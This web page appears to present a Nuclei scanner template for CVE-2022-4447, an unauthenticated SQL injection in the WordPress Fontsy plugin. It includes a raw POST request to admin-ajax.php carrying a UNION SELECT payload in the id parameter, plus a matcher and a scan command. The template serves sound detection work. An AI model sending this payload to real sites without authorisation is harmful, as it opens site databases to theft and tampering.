WordPress Fontsy <=1.8.6 - SQL Injection

ID: CVE-2022-4447

Severity: critical

Author: theamanrawat

Tags: cve,cve2022,wordpress,wp,wpscan,wp-plugin,sqli,fontsy,unauth,fontsy_project

Description

WordPress Fontsy plugin through 1.8.6 is susceptible to SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2022-4447

info:
  name: WordPress Fontsy <=1.8.6 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Fontsy plugin through 1.8.6 is susceptible to SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action.  An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
  remediation: |
    Update the Fontsy plugin to the latest version (>=1.8.7) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6939c405-ac62-4144-bd86-944d7b89d0ad
    - https://wordpress.org/plugins/fontsy/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4447
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4447
    cwe-id: CWE-89
    epss-score: 0.04713
    epss-percentile: 0.92631
    cpe: cpe:2.3:a:fontsy_project:fontsy:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fontsy_project
    product: fontsy
    framework: wordpress
  tags: cve,cve2022,wordpress,wp,wpscan,wp-plugin,sqli,fontsy,unauth,fontsy_project
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id=-5219 UNION ALL SELECT NULL,NULL,NULL,md5({{num}}),NULL--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "{{md5(num)}}")'
        condition: and
# digest: 4a0a004730450220131dcad5aa49170a3424cc1a8097038b45cf15f6c3586d5d1a5baf3a018379b5022100e5f0df2ca775e9127abc90f8496404176427e3a82cfe54c2b33ef29ed980b3e7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-4447.yaml"

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